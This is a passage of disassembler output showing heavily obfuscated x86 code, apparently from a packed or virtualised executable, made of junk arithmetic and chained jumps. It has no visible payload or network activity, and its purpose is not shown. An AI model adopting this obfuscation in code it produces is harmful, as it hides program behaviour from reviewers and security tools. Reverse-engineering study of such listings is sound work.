		xor	ecx, [esp]
		mov	esp, [esp]
		push	73FDh
		jmp	loc_58A356
; ---------------------------------------------------------------------------


loc_588770:				; CODE XREF: ud2_____:00591204j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	ecx
		pop	edi
		pop	ecx
		add	edi, 7FFF0F58h
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		sub	ecx, ebx
		jmp	loc_58F45D
; ---------------------------------------------------------------------------


loc_5887A1:				; CODE XREF: ud2_____:00587F16j
		and	ebp, ecx
		pop	ecx
		push	eax
		mov	eax, 184D7AFEh
		and	eax, 78514387h
		shr	eax, 3
		jmp	loc_58D59A
; ---------------------------------------------------------------------------


loc_5887B7:				; CODE XREF: ud2_____:005853A0j
		push	ebx
		mov	ebx, 50DB616Ch
		sub	edx, ebx
		jmp	loc_584B72
; ---------------------------------------------------------------------------


loc_5887C4:				; CODE XREF: ud2_____:0058BC57j
		and	eax, edx
		mov	edx, [esp]
		push	4B37h
		mov	[esp], ecx
		mov	ecx, esp
		push	ebx
		push	4
		pop	ebx
		jmp	loc_58F9E7
; ---------------------------------------------------------------------------


loc_5887DF:				; CODE XREF: ud2_____:00583CC9j
		push	ebp
		mov	ebp, esp
		push	4475h
		mov	[esp], ecx
		mov	ecx, 2B7059ADh
		add	ecx, 50FE3682h
		sub	ecx, 118D29ECh
		shr	ecx, 8
		shr	ecx, 1
		sub	ecx, 3570AFh
		add	ebp, ecx
		jmp	loc_582951
; ---------------------------------------------------------------------------


loc_58880D:				; CODE XREF: ud2_____:0058C70Bj
		push	eax
		jmp	loc_59144E
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ecx
		mov	ecx, esp
		push	edi
		mov	edi, esp
		jmp	loc_582E71
; ---------------------------------------------------------------------------


loc_588822:				; CODE XREF: ud2_____:0058173Fj
		mov	edi, 38420A35h
		jmp	loc_582AC5
; ---------------------------------------------------------------------------


loc_58882C:				; CODE XREF: ud2_____:005909BCj
		pop	esi
		xchg	eax, [esp]
		jmp	loc_5823C1
; ---------------------------------------------------------------------------


loc_588835:				; CODE XREF: ud2_____:0058D934j
		pop	esp
		sub	esp, 4
		jmp	loc_58936D
; ---------------------------------------------------------------------------


loc_588841:				; CODE XREF: ud2_____:00584DB3j
		pop	edi
		add	[esp+4], esi
		push	43BFh
		mov	[esp], edx
		mov	edx, 5A3519D9h
		jmp	loc_5818E3
; ---------------------------------------------------------------------------


loc_588858:				; CODE XREF: ud2_____:0057F5E0j
		pop	ebx
		sub	al, 0E3h
		jmp	loc_589357
; ---------------------------------------------------------------------------


loc_588860:				; CODE XREF: ud2_____:00582D3Dj
		push	ecx
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_5898F2
; ---------------------------------------------------------------------------


loc_58886B:				; CODE XREF: ud2_____:00580D7Dj
		mov	edx, 6FB1256Fh
		push	0
		sub	dword ptr [esp], 0C230E77h
		sub	[esp], edx
		add	dword ptr [esp], 0C230E77h
		pop	edx
		xor	edx, 291C55A1h
		dec	edx
		jmp	loc_586BD2
; ---------------------------------------------------------------------------


loc_588893:				; CODE XREF: ud2_____:0058C1B9j
		add	[esp+4], esi
		jmp	loc_57F7B5
; ---------------------------------------------------------------------------


loc_58889C:				; CODE XREF: ud2_____:00589D11j
		sub	esi, 20522113h
		mov	edx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		jmp	loc_586604
; ---------------------------------------------------------------------------


loc_5888B3:				; CODE XREF: ud2_____:0058DE36j
		pop	eax
		jmp	loc_5910F3
; ---------------------------------------------------------------------------


loc_5888B9:				; CODE XREF: ud2_____:00590D30j
		push	edx
		mov	dl, 89h
		add	al, dl
		pop	edx
		push	edx
		jmp	loc_581CA2
; ---------------------------------------------------------------------------


loc_5888C5:				; CODE XREF: ud2_____:0058742Dj
		inc	ebp
		xchg	ebp, esi
		shl	esi, 2
		xor	esi, 0D41808ECh
		sub	ecx, esi
		pop	esi
		push	4898h
		mov	[esp], ecx
		add	dword ptr [esp], 5A0879C1h
		pop	ebx
		sub	ebx, 5A0879C1h
		jmp	loc_583116
; ---------------------------------------------------------------------------


loc_5888EF:				; CODE XREF: ud2_____:00584A86j
		pop	edx
		jmp	loc_5822B1
; ---------------------------------------------------------------------------


loc_5888F5:				; CODE XREF: ud2_____:0058A4DAj
		pop	edi
		jmp	loc_5816E1
; ---------------------------------------------------------------------------


loc_5888FB:				; CODE XREF: ud2_____:00584660j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5801F3
; ---------------------------------------------------------------------------


loc_588904:				; CODE XREF: ud2_____:00584605j
		push	esp
		jmp	loc_58E864
; ---------------------------------------------------------------------------


loc_58890A:				; CODE XREF: ud2_____:00582D89j
		add	ecx, edi
		sub	ecx, 5E3A619Ah
		push	dword ptr [esp]
		jmp	loc_584CC6
; ---------------------------------------------------------------------------


loc_58891A:				; CODE XREF: ud2_____:00589246j
		mov	edi, 4
		add	ebx, 61485E15h
		sub	ebx, 37ED75BEh
		sub	ebx, 415E7330h
		add	ebx, edi
		push	edi
		jmp	loc_586357
; ---------------------------------------------------------------------------


loc_588939:				; CODE XREF: ud2_____:00582116j
		mov	esi, ebx
		jmp	loc_58D75D
; ---------------------------------------------------------------------------


loc_588940:				; CODE XREF: ud2_____:00582BABj
		inc	edx
		jmp	loc_589BD2
; ---------------------------------------------------------------------------


loc_588946:				; CODE XREF: ud2_____:0058283Fj
		mov	edi, esi
		pop	esi
		add	edi, 70E5542Bh
		sub	edi, 0AB75B72Fh
		add	ecx, 3045621Ch
		sub	ecx, edi
		sub	ecx, 3045621Ch
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_581C92
; ---------------------------------------------------------------------------


loc_588983:				; CODE XREF: ud2_____:0058EAEBj
		and	ebp, 75D113BEh
		jmp	loc_5832C7
; ---------------------------------------------------------------------------


loc_58898E:				; CODE XREF: ud2_____:00585E4Dj
		sub	eax, 7A2B7034h
		mov	edi, [esp]
		push	ebp
		jmp	loc_583353
; ---------------------------------------------------------------------------


loc_58899C:				; CODE XREF: ud2_____:00588C89j
		add	ebx, 0FFFFFFFFh
		jmp	loc_58E519
; ---------------------------------------------------------------------------


loc_5889A7:				; CODE XREF: ud2_____:0058062Cj
		mov	ebp, 2F7169E3h
		mov	esi, ebp
		pop	ebp
		shr	esi, 6
		and	esi, 15161376h
		jmp	loc_585E03
; ---------------------------------------------------------------------------


loc_5889BD:				; CODE XREF: ud2_____:0058E6D4j
		pop	edx
		jmp	loc_58CB0D
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	3E9Eh
		mov	[esp], edx
		mov	edx, esp
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 4
		push	esi
		push	ecx
		push	edx
		jmp	loc_5801C5
; ---------------------------------------------------------------------------


loc_5889F0:				; CODE XREF: ud2_____:00582BCDj
		mov	eax, [esp]
		push	5735h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		jmp	loc_58B524
; ---------------------------------------------------------------------------


loc_588A11:				; CODE XREF: ud2_____:00585DF5j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	ecx
		jmp	loc_5831E3
; ---------------------------------------------------------------------------


loc_588A20:				; CODE XREF: ud2_____:005837C5j
		dec	eax
		jmp	loc_58ED85
; ---------------------------------------------------------------------------


loc_588A26:				; CODE XREF: ud2_____:0058DB4Dj
		push	ebp
		mov	ebp, 0F9FFEEFBh
		jmp	loc_5871A6
; ---------------------------------------------------------------------------


loc_588A31:				; CODE XREF: ud2_____:0057FDBFj
		add	esp, 4
		push	esi
		mov	esi, 3FA81997h
		or	esi, 65F5753h
		dec	esi
		shl	esi, 4
		sub	esi, 0FFF5FD5Eh
		add	ebx, esi
		jmp	loc_58735B
; ---------------------------------------------------------------------------


loc_588A54:				; CODE XREF: ud2_____:0057EDF0j
		xor	ecx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 1Ch
		sub	edx, 37772B06h
		add	edx, 682206F1h
		sub	edx, 56BB2DFDh
		add	edx, edi
		push	ebx
		mov	ebx, 56BB2DFDh
		add	edx, ebx
		pop	ebx
		push	ebp
		mov	ebp, 682206F1h
		sub	edx, ebp
		pop	ebp
		add	edx, 37772B06h
		mov	ecx, [edx]
		mov	edx, [esp]
		push	ebp
		jmp	loc_590B59
; ---------------------------------------------------------------------------


loc_588A97:				; CODE XREF: ud2_____:0058B517j
		and	esi, 33156BAFh
		sub	esi, 0BD24D3FDh
		add	eax, esi
		jmp	loc_5846AE
; ---------------------------------------------------------------------------


loc_588AAA:				; CODE XREF: ud2_____:00585C65j
		mov	dh, 3
		add	dh, cl
		pop	ecx
		push	1280h
		jmp	loc_58CAA2
; ---------------------------------------------------------------------------


loc_588AB9:				; CODE XREF: ud2_____:00591385j
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_588752
; ---------------------------------------------------------------------------


loc_588ACD:				; CODE XREF: ud2_____:00581206j
		sub	esp, 4
		jmp	loc_5908C4
; ---------------------------------------------------------------------------


loc_588AD5:				; CODE XREF: ud2_____:0058EAA4j
		sub	bl, al
		push	ecx
		mov	ch, 0D6h
		xor	ch, 0F7h
		sub	bl, ch
		jmp	loc_5900F4
; ---------------------------------------------------------------------------


loc_588AE4:				; CODE XREF: ud2_____:00587ED7j
		pop	ecx
		xor	ebx, 3FCEBE52h
		sub	eax, ebx
		pop	ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_58BC43
; ---------------------------------------------------------------------------


loc_588B00:				; CODE XREF: ud2_____:005816C4j
		xor	si, 0EA33h
		sub	bp, si
		pop	esi
		push	bp
		jmp	loc_590FFF
; ---------------------------------------------------------------------------


loc_588B10:				; CODE XREF: ud2_____:00588BDBj
		and	eax, ebp
		pop	ebp
		jmp	loc_591BDA
; ---------------------------------------------------------------------------


loc_588B18:				; CODE XREF: ud2_____:005865FFj
		xor	esi, 280213Eh
		jmp	loc_58E1E9
; ---------------------------------------------------------------------------


loc_588B23:				; CODE XREF: ud2_____:005890EBj
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_588B28:				; CODE XREF: ud2_____:00584E93j
		mov	[esp], esi
		mov	esi, 6563370Fh
		jmp	loc_585C6A
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_57FC19
; ---------------------------------------------------------------------------


loc_588B3E:				; CODE XREF: ud2_____:0058DD42j
		mov	ecx, [esp]
		add	esp, 4
		add	dword ptr [esp+4], 95E3866h
		sub	dword ptr [esp+4], 59B82BBEh
		add	[esp+4], edi
		push	esi
		push	edi
		mov	edi, 13CE22F2h
		dec	edi
		shl	edi, 3
		not	edi
		shr	edi, 1
		dec	edi
		xor	edi, 697F5F84h
		mov	esi, edi
		jmp	loc_5858AA
; ---------------------------------------------------------------------------


loc_588B75:				; CODE XREF: ud2_____:005910BEj
		shl	ecx, 8
		dec	ecx
		jmp	loc_590CE8
; ---------------------------------------------------------------------------


loc_588B7E:				; CODE XREF: ud2_____:00580BE8j
		pop	dword ptr [esp]
		pop	esp
		dec	byte ptr [esp]
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_588B8B:				; CODE XREF: ud2_____:0058EF09j
		add	esp, 4
		add	ebx, 664A46A1h
		not	ebx
		add	ebx, 3D67C02h
		jmp	loc_593013
; ---------------------------------------------------------------------------
		lodsb
		push	small 29E4h
		mov	[esp], bx
		sub	esp, 4
		mov	[esp], edx
		push	4977h
		mov	[esp], edx
		push	esp
		pop	edx
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		jmp	loc_585074
; ---------------------------------------------------------------------------


loc_588BCB:				; CODE XREF: ud2_____:005836DFj
		mov	ebx, 100430A3h
		mov	eax, ebx
		pop	ebx
		sub	eax, 0C0042E00h
		xor	ebp, eax
		pop	eax
		jmp	loc_588B10
; ---------------------------------------------------------------------------


loc_588BE0:				; CODE XREF: ud2_____:00581F18j
		add	esp, 4
		jmp	loc_58510D
; ---------------------------------------------------------------------------


loc_588BEB:				; CODE XREF: ud2_____:00580B10j
		pop	cx
		jmp	loc_58AB45
; ---------------------------------------------------------------------------


loc_588BF2:				; CODE XREF: ud2_____:00582BDBj
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_5842B1
; ---------------------------------------------------------------------------


loc_588BFB:				; CODE XREF: ud2_____:00580408j
		pop	ecx
		and	edx, 12E7047Ch
		add	edx, 53D06456h
		push	3D55h
		mov	[esp], ecx
		mov	ecx, 2E1074B5h
		jmp	loc_58AC47
; ---------------------------------------------------------------------------


loc_588C1A:				; CODE XREF: ud2_____:00587EF5j
		neg	bh
		inc	bh
		sub	bh, 0Fh
		jmp	loc_591985
; ---------------------------------------------------------------------------


loc_588C26:				; CODE XREF: ud2_____:0057E70Aj
		mov	[esp], edx
		mov	edx, 103FF4h
		sub	edx, 50D710C9h
		and	edx, 46746AF8h
		add	edx, 2C844345h
		jmp	loc_582474
; ---------------------------------------------------------------------------


loc_588C45:				; CODE XREF: ud2_____:00590667j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_58E3ED
; ---------------------------------------------------------------------------


loc_588C53:				; CODE XREF: ud2_____:00588E9Bj
		mov	edx, 4E6B2435h
		not	edx
		push	esi
		mov	esi, 728B3E04h
		and	esi, 5AE324C7h
		add	esi, 784728BAh
		jmp	loc_58ED7B
; ---------------------------------------------------------------------------


loc_588C71:				; CODE XREF: ud2_____:0058118Cj
		rep movsd
		add	esp, [edx+38h]
		push	24E4h
		mov	[esp], ebx
		push	3298h
		jmp	loc_58CB1D
; ---------------------------------------------------------------------------


loc_588C88:				; CODE XREF: ud2_____:005898A2j
		pop	eax
		jmp	loc_58899C
; ---------------------------------------------------------------------------


loc_588C8E:				; CODE XREF: ud2_____:00581286j
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_587B4C
; ---------------------------------------------------------------------------


loc_588C9F:				; CODE XREF: ud2_____:0058B177j
		dec	ebp
		add	ebp, 73B93666h
		inc	ebp
		jmp	loc_57F835
; ---------------------------------------------------------------------------


loc_588CAC:				; CODE XREF: ud2_____:0058E468j
		pop	edx
		push	ecx
		mov	ecx, 0FCC35D62h
		add	ebp, ecx
		pop	ecx
		sub	ecx, 76A3164h
		sub	ecx, ebp
		add	ecx, 76A3164h
		pop	ebp
		push	edi
		mov	edi, ecx
		mov	ebx, edi
		pop	edi
		mov	ecx, [esp]
		add	esp, 4
		push	5AB6h
		jmp	loc_587A2E
; ---------------------------------------------------------------------------


loc_588CDE:				; CODE XREF: ud2_____:0058FE99j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	eax
		sub	esp, 4
		push	esp
		jmp	loc_591F68
; ---------------------------------------------------------------------------


loc_588CF5:				; CODE XREF: ud2_____:0058B693j
		neg	ebx
		inc	ebx
		xor	ebx, 0EFF514Bh
		push	edx
		mov	edx, 0FFFFFFFFh
		add	ebx, edx
		jmp	loc_58B8BA
; ---------------------------------------------------------------------------


loc_588D0B:				; CODE XREF: ud2_____:00583E1Fj
		add	esi, ebp
		add	esi, 694966F8h
		pop	ebp
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_5817F6
; ---------------------------------------------------------------------------


loc_588D1F:				; CODE XREF: ud2_____:00589553j
		mov	edi, 67EE7482h
		inc	edi
		not	edi
		jmp	loc_583BD3
; ---------------------------------------------------------------------------
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esp
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 7F913F85h
		add	ecx, 44721BB3h
		add	ecx, 0FFFFFFFFh
		xor	ecx, 7FB2A8Fh
		xor	ecx, 0C3F871BCh
		sub	edi, 81F7596h
		jmp	loc_58E5FF
; ---------------------------------------------------------------------------


loc_588D6E:				; CODE XREF: ud2_____:00580A2Ej
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_58DC5A
; ---------------------------------------------------------------------------


loc_588D79:				; CODE XREF: ud2_____:00592484j
		add	eax, ebx
		push	esi
		mov	esi, 3FAC109Ah
		jmp	loc_57F8BA
; ---------------------------------------------------------------------------


loc_588D86:				; CODE XREF: ud2_____:0058AD84j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		and	[esp], eax
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_588D9F:				; CODE XREF: ud2_____:0057F08Ej
		pop	esp
		push	ebp
		jmp	loc_58B13F
; ---------------------------------------------------------------------------


loc_588DA6:				; CODE XREF: ud2_____:005909EEj
		push	edi
		jmp	loc_58A067
; ---------------------------------------------------------------------------


loc_588DAC:				; CODE XREF: ud2_____:00590AABj
		push	esi
		push	ebp
		push	5F1842FAh
		pop	ebp
		mov	esi, ebp
		jmp	loc_5905A7
; ---------------------------------------------------------------------------


loc_588DBB:				; CODE XREF: ud2_____:00585656j
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		push	eax
		mov	eax, 3CA931FCh
		push	3CA931FEh
		pop	ecx
		xor	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	ebp, 13EB2ABCh
		add	ebp, ecx
		push	edi
		mov	edi, 7BF86FD5h
		shr	edi, 8
		jmp	loc_58771E
; ---------------------------------------------------------------------------


loc_588DEF:				; CODE XREF: ud2_____:005821E5j
		mov	[esp], ecx
		jmp	loc_58A09A
; ---------------------------------------------------------------------------


loc_588DF7:				; CODE XREF: ud2_____:005873F2j
		xor	edx, [esp]
		mov	esp, [esp]
		push	4A8Eh
		mov	[esp], ebp
		mov	ebp, 31870DD5h
		push	esi
		mov	esi, 7D2C0B91h
		push	ebp
		jmp	loc_591DAB
; ---------------------------------------------------------------------------


loc_588E16:				; CODE XREF: ud2_____:0058211Ej
		mov	ebx, 326145B1h
		and	ebx, 42870820h
		jmp	loc_592AD4
; ---------------------------------------------------------------------------


loc_588E26:				; CODE XREF: ud2_____:0058FC4Dj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_591C4E
; ---------------------------------------------------------------------------


loc_588E35:				; CODE XREF: ud2_____:00583711j
		pop	ebp
		add	ebp, 4
		push	eax
		jmp	loc_57EA95
; ---------------------------------------------------------------------------
		push	0
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	edx
		jmp	loc_57E70F
; ---------------------------------------------------------------------------


loc_588E53:				; CODE XREF: ud2_____:00584C4Fj
		pop	ecx
		xor	edx, 6ED61EF6h
		dec	edx
		shr	edx, 6
		or	edx, 1926675Ch
		xor	edx, 196F6FF8h
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_582ED0
; ---------------------------------------------------------------------------


loc_588E7C:				; CODE XREF: ud2_____:00581CA4j
		mov	dl, al
		mov	bl, dl
		pop	edx
		push	eax
		jmp	loc_58E1C9
; ---------------------------------------------------------------------------


loc_588E87:				; CODE XREF: ud2_____:0057F263j
		add	esp, 4
		jmp	loc_58437B
; ---------------------------------------------------------------------------


loc_588E8F:				; CODE XREF: ud2_____:00592F33j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	esi
		push	edx
		jmp	loc_588C53
; ---------------------------------------------------------------------------


loc_588EA0:				; CODE XREF: ud2_____:0058F9A1j
		mov	edx, [esp]
		push	ecx
		push	esp
		jmp	loc_590777
; ---------------------------------------------------------------------------


loc_588EAA:				; CODE XREF: ud2_____:0058D8F7j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_582F28
; ---------------------------------------------------------------------------


loc_588EC0:				; CODE XREF: ud2_____:0058FCE0j
		add	esp, 4
		add	ebx, edx
		push	dword ptr [esp]
		pop	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_57F368
; ---------------------------------------------------------------------------


loc_588ED7:				; CODE XREF: ud2_____:0058B143j
		push	si
		mov	si, 0FFFFh
		add	bp, si
		pop	si
		jmp	loc_59070A
; ---------------------------------------------------------------------------


loc_588EE7:				; CODE XREF: ud2_____:00590511j
		pop	edx
		jmp	loc_5826EC
; ---------------------------------------------------------------------------


loc_588EED:				; CODE XREF: ud2_____:0058B4C4j
		xchg	eax, [esp]
		pop	esp
		sub	dh, 0C2h
		sub	al, 0Bh
		sub	al, 7
		jmp	loc_585490
; ---------------------------------------------------------------------------


loc_588EFD:				; CODE XREF: ud2_____:005917C9j
		mov	edx, 19B517C1h
		xor	edx, 2A351B06h
		inc	edx
		shr	edx, 8
		add	edx, 4244E739h
		sub	eax, edx
		pop	edx
		jmp	loc_5859DC
; ---------------------------------------------------------------------------


loc_588F1A:				; CODE XREF: ud2_____:005876CBj
		and	ebx, esi
		pop	esi
		push	0CF7h
		mov	[esp], esi
		mov	esi, 1
		jmp	loc_5825C4
; ---------------------------------------------------------------------------


loc_588F2F:				; CODE XREF: ud2_____:0058D368j
		pop	ebx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		jmp	loc_58DF98
; ---------------------------------------------------------------------------


loc_588F44:				; CODE XREF: ud2_____:0058D345j
		push	dword ptr [esp]
		jmp	loc_58B034
; ---------------------------------------------------------------------------


loc_588F4C:				; CODE XREF: ud2_____:0058E332j
		mov	[esp], edi
		mov	edi, 4777546Eh
		jmp	loc_590011
; ---------------------------------------------------------------------------


loc_588F59:				; CODE XREF: ud2_____:00580927j
		mov	[esp], edi
		mov	edi, 1D346C3Dh
		sub	edi, 143F5D4Fh
		xor	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_57E4CD
; ---------------------------------------------------------------------------


loc_588F80:				; CODE XREF: ud2_____:0057E75Fj
		xor	eax, 2A0D5660h
		neg	eax
		xor	eax, 978BEDB1h
		sub	ebx, eax
		pop	eax
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		btr	[esp], ax
		pushf
		jmp	loc_5896E7
; ---------------------------------------------------------------------------


loc_588FB5:				; CODE XREF: ud2_____:00590BA8j
		add	ebx, 4
		add	ebx, 4
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		push	4A7Ch
		mov	[esp], eax
		jmp	loc_5819E7
; ---------------------------------------------------------------------------


loc_588FDA:				; CODE XREF: ud2_____:0059138Dj
		or	cl, 0C7h
		shl	cl, 1
		push	ebx
		mov	bl, 0BDh
		dec	bl
		jmp	loc_58D1E4
; ---------------------------------------------------------------------------


loc_588FE9:				; CODE XREF: ud2_____:00582BBDj
		mov	[esp], edx
		push	ebp
		push	757749D4h
		pop	ebp
		add	ebp, 375964B7h
		jmp	loc_57EA58
; ---------------------------------------------------------------------------


loc_588FFE:				; CODE XREF: ud2_____:0058ECC9j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_57F5E5
; ---------------------------------------------------------------------------


loc_589013:				; CODE XREF: ud2_____:0058548Bj
		dec	ebx
		jmp	loc_59250B
; ---------------------------------------------------------------------------


loc_589019:				; CODE XREF: ud2_____:00581BEDj
		mov	eax, 7DBA50BBh
		push	edx
		push	ebp
		mov	ebp, 3E0331E0h
		mov	edx, 17F7364Eh
		xor	edx, ebp
		pop	ebp
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		add	esi, 3B0968BFh
		sub	esi, 635A4BE2h
		sub	esi, eax
		add	esi, 635A4BE2h
		push	eax
		mov	eax, 42AF177Bh
		xor	eax, 79A67FC4h
		jmp	loc_58A524
; ---------------------------------------------------------------------------


loc_589059:				; CODE XREF: ud2_____:0058D9D8j
		push	ecx
		mov	ecx, esp
		jmp	loc_592345
; ---------------------------------------------------------------------------


loc_589061:				; CODE XREF: ud2_____:005872D9j
		push	eax
		jmp	loc_585478
; ---------------------------------------------------------------------------


loc_589067:				; CODE XREF: ud2_____:00580C54j
		pop	ecx
		push	ebx
		push	esp
		pop	ebx
		push	esi
		mov	esi, 4
		add	ebx, esi
		jmp	loc_57F9E5
; ---------------------------------------------------------------------------


loc_589078:				; CODE XREF: ud2_____:0058D893j
		and	ch, 0D6h
		jmp	loc_58239F
; ---------------------------------------------------------------------------


loc_589080:				; CODE XREF: ud2_____:00590427j
		sub	esp, 4
		mov	[esp], ebp
		push	esi
		jmp	loc_584875
; ---------------------------------------------------------------------------


loc_58908F:				; CODE XREF: ud2_____:00583DE0j
		mov	bl, dl
		mov	ch, bl
		pop	ebx
		mov	[eax], ch
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_5811CF
; ---------------------------------------------------------------------------


loc_5890AF:				; CODE XREF: ud2_____:00580E69j
		mov	eax, [esp]
		jmp	loc_590DF3
; ---------------------------------------------------------------------------


loc_5890B7:				; CODE XREF: ud2_____:00584260j
		pop	edx
		push	ebx
		push	3BF8h
		mov	[esp], eax
		push	ebx
		push	eax
		jmp	loc_5921DC
; ---------------------------------------------------------------------------


loc_5890C8:				; CODE XREF: ud2_____:00583E73j
		push	1ECAh
		push	7C9Ah
		jmp	near ptr word_57F24A
; ---------------------------------------------------------------------------


loc_5890D7:				; CODE XREF: ud2_____:0058F860j
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	[esp], al
		pushf
		jmp	loc_588B23
; ---------------------------------------------------------------------------


loc_5890F0:				; CODE XREF: ud2_____:00585D30j
		add	esp, 4
		jmp	loc_58BC04
; ---------------------------------------------------------------------------


loc_5890F8:				; CODE XREF: ud2_____:0058B03Dj
		mov	edx, esp
		add	edx, 4
		push	669Ah
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_5879AB
; ---------------------------------------------------------------------------


loc_589112:				; CODE XREF: ud2_____:00585B50j
		pop	ebx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		movsx	ecx, al
		push	edx
		mov	edx, esp
		push	edi
		jmp	loc_589C48
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_5816EA
; ---------------------------------------------------------------------------


loc_58912F:				; CODE XREF: ud2_____:0057F39Cj
		not	eax
		sub	eax, 522A3683h
		sub	eax, 22207D79h
		mov	esi, eax
		pop	eax
		sub	esi, 40C82DFAh
		jmp	loc_58AD5E
; ---------------------------------------------------------------------------


loc_589149:				; CODE XREF: ud2_____:0058C5A0j
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		sub	esp, 4
		jmp	loc_5877DD
; ---------------------------------------------------------------------------


loc_589168:				; CODE XREF: ud2_____:00590FBAj
		push	ebx
		mov	ebx, 111C396Eh
		sub	ebx, 0A7A5F2F6h
		sub	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 47C844DEh
		sub	eax, ecx
		jmp	loc_584FD4
; ---------------------------------------------------------------------------


loc_58918C:				; CODE XREF: ud2_____:0059268Ej
		sub	edi, 20E6315Bh
		xor	edi, 0A13EAFB9h
		sub	ebx, 74A11D3Fh
		add	ebx, edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 116D429Ch
		jmp	loc_58484C
; ---------------------------------------------------------------------------


loc_5891B0:				; CODE XREF: ud2_____:0058693Dj
		push	small 4311h
		jmp	loc_582536
; ---------------------------------------------------------------------------


loc_5891B9:				; CODE XREF: ud2_____:00586F97j
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 3801515Dh
		push	2E2Bh
		mov	[esp], edi
		mov	edi, 0
		push	ebp
		mov	ebp, 9E62CE0h
		jmp	loc_58211B
; ---------------------------------------------------------------------------


loc_5891E3:				; CODE XREF: ud2_____:00592237j
		neg	ebx
		and	ebx, 7F8C425Dh
		xor	ebx, 6FFF122Eh
		jmp	loc_58AC3F
; ---------------------------------------------------------------------------


loc_5891F6:				; CODE XREF: ud2_____:00584B9Aj
		mov	edi, 6F5E5860h
		add	edi, 0FFFFFFFFh
		not	edi
		xor	edi, 0BDA1AA70h
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ebx, 2062047Eh
		add	ebx, ecx
		jmp	loc_581093
; ---------------------------------------------------------------------------


loc_58921E:				; CODE XREF: ud2_____:00581C6Cj
		mov	edx, 19322263h
		xor	edx, 7A145064h
		jmp	loc_58BCB0
; ---------------------------------------------------------------------------


loc_58922E:				; CODE XREF: ud2_____:00587DC9j
		push	ax
		mov	ah, 45h
		and	bh, ah
		jmp	loc_5920D8
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_58891A
; ---------------------------------------------------------------------------


loc_58924B:				; CODE XREF: ud2_____:00592B54j
		pop	edi
		add	esp, 4
		mov	ebx, 6E3A014Eh
		push	eax
		jmp	loc_587033
; ---------------------------------------------------------------------------

